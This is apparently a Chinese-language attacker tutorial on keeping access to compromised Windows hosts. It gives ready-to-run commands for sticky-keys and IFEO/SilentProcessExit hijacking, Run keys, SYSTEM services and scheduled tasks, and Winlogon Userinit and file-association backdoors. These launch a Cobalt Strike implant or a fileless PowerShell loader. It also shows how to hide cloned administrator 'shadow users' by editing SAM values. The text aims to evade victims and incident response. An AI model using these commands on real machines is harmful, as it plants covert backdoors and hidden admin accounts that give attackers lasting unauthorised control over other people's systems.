Windows权限维持

权限维持

window权限维持

前置

当我们拿到权限以后 不可避免的会遇到目标主机可能会关机 重启 应急排查等 让我们的权限失效 这时候我们就需要进行权限维持 长久的对目标进行控制

辅助功能进行劫持

辅助功能提供了其他选项(屏幕键盘、放大镜、屏幕阅读),可以帮助人更轻松地使用Windows操作系统,但是此功能可能会被滥用

  • 屏幕键盘: c:\windows\system32\osk.exe
  • 放大镜: c:\windows\system32\Mageify.exe
  • 粘滞键: c:\windows\system32\sethc.exe
  • 旁白:C:\Windows\System32\Narrator.exe
  • 显示切换器 C:\Windows\System32\DisplaySwitch.exe
  • 应用切换器:C:\Windows\System32\AtBroker.exe

这些辅助功能说到底还是exe可执行程序

如果我们将这个可执行程序修改成我们的木马或者cmd呢

image-20240901163311021

5下shift可以触发粘滞键

这意味着我们可以在未登录的情况下执行我们想执行的命令(shift后门 )

如果我们直接重命名辅助功能程序名

image-20240901163646999

不行的

权限不够

如果是2008及以前的系统 我们是可以直接给他把权限改了的

image-20240901164531511

可以将sethc.exe拥有者改为administrator

然后就可以执行

move C:\windows\system32\sethc.exe C:\windows\system32\sethc1.exe
Copy C:\windows\system32\cmd.exe C:\windows\system32\sethc.exe

把cmd改过来

2012及以后的就不能修改了

映像劫持(重定向劫持)

IFEO: image File Execution options

当我们双击运行程序时 系统会查询IFEO注册表 如果发现存在完全相同的子键 就会查询对应子键中包含的”debugger”键值名 如果这个键值名不为空 系统就会把debugger参数指定的程序文件来作为启动的程序

出于简化原因,IFEO使用忽略路径的方式来匹配它所要控制的程序文件名,所以程序无论放在哪个路径,只要名字没有变化 就会执行

cmd->regedit:打开注册表

在里面找到IFEO注册表

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\

image-20240901165954376

这里有一个iexplore.exe

这是IE浏览器

这里没有debugger键 我们直接新建一个

image-20240901170553797

先给他换成cmd吧

image-20240901170702549

一旦点击IE浏览器 就会启动cmd

image-20240901170821160

成功

既然能执行从cmd 就能执行我们的木马

这里我直接用CS生成木马并开监听

image-20240901171111932

传上去

改debugger

image-20240901171145508

image-20240901171211991

上线

但是这样我们是相当于开3389打的

那么我们该怎么远程直接修改目标注册表呢

可以用这个命令

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe" /v "Debugger" /t REG_SZ /d "c:\404.exe"

CS执行命令

image-20240901171841518

已经加进来了

image-20240901171913035

执行IE 有新会话上线

image-20240901172018018

既然我们能劫持IE 我们就可以劫持其他程序 只要我们知道它在哪里 叫什么名字

这里我们劫持一下记事本

image-20240901172424268

但是有个问题就是IEFO里没有notepad项

我们直接给他生成一个

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe /c calc"

这里劫持成计算器

image-20240901172928721

win+r notepad

image-20240901172959330

直接调用计算器

IFEO中已经多了notepad项

image-20240901173054330

同样也可以改成木马

image-20240901173212334

上线

但是 这同样有个问题就是 我们劫持的程序本身不能正常运行 这会引起受害者的怀疑

但是我们可以用这个命令:

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1

//替换shell.exe路径为木马路径
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\404.exe"

配合globalflag 既能正常打开程序又能执行木马

image-20240901174040172

记事本一关 上线

image-20240901174129912

同样 受害者后台会有很多木马

image-20240901174328418

启动项

文件启动项

image-20240901175018258

文件夹有启动项

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

在这里面上传木马 会当作启动项执行

image-20240901175336469

有了

image-20240901175403435

重启

image-20240901175458202

上线

注册表启动项

注册表也可以

image-20240901175712655

多种路径有启动项

image-20240901175836967

命令也是差不多的

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "cmd" /t REG_SZ /d "c:\404.exe"

image-20240901180120081

重启

image-20240901180220990

上线

服务启动项

服务是系统权限 我们可以新建一个服务来开启动项

sc create pentestlab binpath= "cmd.exe /k C:\404.exe" start="auto" obj="LocalSystem"

sc start pentestlab

删除服务

sc delete "pentestlab"

image-20240901181323824

image-20240901181348388

没问题

CS也监听到了

image-20240901181427107

重启也没问题

计划任务

有两种写法

  • at:xp、2003

  • schtasks:win7及2008

schtasks /Create /tn Updater /tr notepad.exe /sc MINUTE /mo 1

/tn 任务名字

/tr 启动运行的脚本

/sc 多久运行一次

/Create 创建新计划任务

/Delete 删除计划任务

/Query 显示计划热为奴

/Change 更改计划任务属性

/Run 按需运行计划任务

/End 中止当前正在运行的计划任务

/ShowSid 显示与计划的任务名称相应的安全标识符

/? 显示帮助信息

命令

schtasks /create /sc minute /mo 1 /tn "sd" /tr C:\404.exe /ru System

查看当前计划任务
schtasks /query

删除计划任务
Schtasks /delete /tn 任务名

image-20240901182145401

上线

image-20240901182228430

Winlogon用户登录初始化

winlogon是一个win的重要进程

在用户还没有登录之前就已经存在

和登录 密码等相关

并且这个进程 是在杀软运行之前运行的

注册表路径

HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\

在winlogon里面有个userinit

image-20240901183316752

本身默认是这样的

image-20240901183338512

我们的木马需要放在这里面

这样就可以用户还没有登录就加载

但是不能这样

image-20240901183528362

因为这个系统文件非常重要 改了系统会出问题

我们要这样

image-20240901183832037

逗号然后跟我们的木马

image-20240901183933095

上线

命令修改文件加载上线

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit" /t REG_SZ /d "C:\Windows\system32\userinit.exe,C:\404.exe"

无文件落地:我们没有木马程序放到受害者主机上面

两种方式

  • 远程加载
  • powershell木马

CS用powershell监听一下

image-20240901184238061

然后一样的

把木马里面的东西拿过来 跟在后面

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit" /t REG_SZ /d "C:\Windows\system32\userinit.exe,这里替换生成的powershell"

image-20240901184526032

注册表已经改了

重启 上线

image-20240901184740376

后台没有我们的木马

只要这个

image-20240901184852289

文件关联

将一个类型的文件和它可以打开的程序建立一个依赖程序关系

所以一个文件可以和多个程序进行关联

assoc .txt

image-20240901185518311

可以看到

txt文件关联的是txtfile

ftype txtfile

image-20240901185627922

这个txtfile关联的是这个exe

我们把这个exe改成木马

那么他开txt文件就相当于开木马

改注册表

reg add "HKEY_CLASSES_ROOT\txtfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "C:\404.exe %1" /f

和映像劫持差不多

屏幕保护程序

屏保也是一个可执行程序

image-20240901191353981

这是三个值

image-20240901191443764

这是屏保的可执行程序

同理也就是加程序

image-20240901191541781

逗号 然后加木马

命令也差不多

reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "C:\Windows\system32\scrnsave.scr,C:\404.exe" /f

影子用户

创建一个隐藏用户

net user test$ Aa.123456 /add

必须要加$ 不然就是普通用户

加入管理员组

net localgroup administrators test$ /add

image-20240901192049439

可以看到

net user是看不到我们新建的影子用户的

image-20240901192156570

计算机管理还是看得见的

那么怎么让计算机管理也看不见呢

用户克隆

image-20240901192349713

本身注册表里的SAM我们是没有权限看的

改下权限

image-20240901192502976

再看

image-20240901192527495

有东西了

重启下注册表

image-20240901192611453

找到里面有用户的注册表项

image-20240901192640513

先找到要克隆的用户的f值

image-20240901192740530

这里就是1f4

看到上面有1f4

image-20240901192820637

这就是administrator的

导出test$

image-20240901192919982

还要导出test$和administrator的注册表项(1f4和3ea)

image-20240901193210438

1–>test$

2–>3ea

3—>1f4

打开23

image-20240901193423984

把if4(admin)的f值替换到3ea(test$)的f值

先把隐藏用户删了

net user test$ /del

然后导入12

regedit /s 1.reg

regedit /s 2.reg

image-20240901193915834

image-20240901194110511

计算机管理已经看不到东西了

image-20240901194152690

net也看不到

远程桌面连接

image-20240901194320377

连接成且用户是administrator

image-20240901194427982

reg export [导出的注册表键的完整路径] [导出到的文件的路径] [/y] reg export HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EB C:\1.reg /y

工具